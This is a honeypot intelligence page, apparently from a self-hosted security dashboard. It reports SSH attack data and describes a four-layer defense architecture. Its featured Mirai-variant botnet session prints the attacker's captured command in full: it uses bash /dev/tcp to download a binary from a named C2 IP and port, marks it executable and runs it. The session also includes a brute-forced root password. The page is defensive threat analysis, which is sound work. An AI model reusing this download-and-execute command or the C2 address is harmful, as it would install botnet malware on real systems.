🍯 SSH Honeypot Intelligence Report

Live Cowrie honeypot Β· Collecting since March 21, 2026

⚠️ This is real attack data captured by a Cowrie SSH honeypot deployed on production infrastructure.
Every IP, credential, command, and malware hash shown here is from actual attacks against this network.
The honeypot is one layer in a multi-tier defense system β€” attackers see a fake server while real services remain untouched.

Live All data below auto-refreshes from the honeypot every 15 minutes

β€”
Attack Sessions
β€”
Login Attempts
β€”
Unique Attackers
β€”
Commands Captured
β€”
Unique Passwords
β€”
Unique Usernames
β€”
Malware Binaries
β€”
IPs Blocked by Defense
πŸ“Š Daily Attack Volume Live
🎯 Top Attackers by Sessions Live
πŸ”‘ Credential Analysis Live
πŸ’€ Post-Exploitation Commands Live
πŸ”¬ Featured Attack β€” Mirai-Variant Botnet Recruitment

April 15, 2026 Β· 15:14 UTC 43.99.20.50 β†’ Alibaba Cloud, Hong Kong SSH-2.0-makiko (Rust)

1
Brute-Force Login
root / 123456
Used makiko Rust SSH library β€” an automated botnet scanner, not a human.
2
Environment Fingerprint
cat /bin/echo
Anti-honeypot check. Real servers return binary data; some honeypots return text or errors.
3
Malware Download & Execute
nohup bash -c "exec 6<>/dev/tcp/47.180.61.210/60122 && \ echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/dG68qeeZO7 && \ chmod +x /tmp/dG68qeeZO7 && \ /tmp/dG68qeeZO7 7BRdPPogwDDWJ+UlWwWdlw..." &
Downloads malware from C2 server 47.180.61.210:60122 (compromised residential ISP in Thousand Oaks, California). Uses bash /dev/tcp builtin β€” bypasses wget/curl detection. Executes with encrypted base64 C2 config.
4
Binary Payload Delivery
head -c 1458464 > /tmp/Ji3aa1eH1y # Followed by raw binary data (UPX-packed ELF: "Qtd#UPX!" magic bytes)
1.4 MB UPX-packed Linux ELF binary. IoT/DDoS botnet agent β€” typical Mirai variant behavior.
🦠 Captured Malware Live
πŸ• Attack Distribution by Hour (UTC) Live
πŸ›‘οΈ Defense Response β€” How We Handle This Live
πŸ—οΈ How It Works β€” Architecture
Security Architecture β€” 4 Layers of Defense
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ INTERNET (The Wild West) β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ LAYER 1: MikroTik CCR1009 Hardware Firewall β”‚ β”‚ β”œβ”€β”€ RAW prerouting: IPs dropped pre-conntrack β”‚ β”‚ β”œβ”€β”€ Filter: 67 rules, SYN flood protection, port scan detect β”‚ β”‚ β”œβ”€β”€ CrowdSec bouncer: real-time ban sync via API β”‚ β”‚ └── NAT: SSH port β†’ Cowrie honeypot (port 2222) β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ Real Services Fake SSH (Honeypot) β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ LAYER 2: Traefik Proxy β”‚ β”‚ 🍯 Cowrie SSH Honeypot β”‚ β”‚ β”œβ”€β”€ TLS termination β”‚ β”‚ β”œβ”€β”€ Fake filesystem β”‚ β”‚ β”œβ”€β”€ Rate limiting β”‚ β”‚ β”œβ”€β”€ Credential capture β”‚ β”‚ β”œβ”€β”€ Security headers β”‚ β”‚ β”œβ”€β”€ Command logging β”‚ β”‚ └── Request logging β†’ CS β”‚ β”‚ β”œβ”€β”€ Malware capture β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ └── Telegram alerts β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ LAYER 3: CrowdSec Engine β”‚ β”‚ β”œβ”€β”€ Behavioral analysis β”‚ β”‚ β”œβ”€β”€ Community blocklist β”‚ β”‚ β”œβ”€β”€ Threat intel feeds β”‚ β”‚ └── Auto-ban β†’ MikroTik β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ LAYER 4: Authelia SSO β”‚ β”‚ β”œβ”€β”€ Multi-factor auth β”‚ β”‚ β”œβ”€β”€ WebAuthn/FIDO2 keys β”‚ β”‚ β”œβ”€β”€ Per-service ACLs β”‚ β”‚ └── Session management β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ’‘ The Key Insight Live

In β€” days, β€” unique attackers from around the world attempted β€” logins with β€” unique passwords. They deployed β€” different malware binaries and ran β€” post-exploitation commands. All of this was captured, analyzed, and neutralized β€” automatically.

The honeypot sees what gets past the firewall's SSH redirect. Meanwhile, CrowdSec handles HTTP attacks, and MikroTik drops β€” known-bad IPs at the hardware level before they even reach the server.

Every layer works independently. If one fails, the others still protect. Nothing reaches the real services.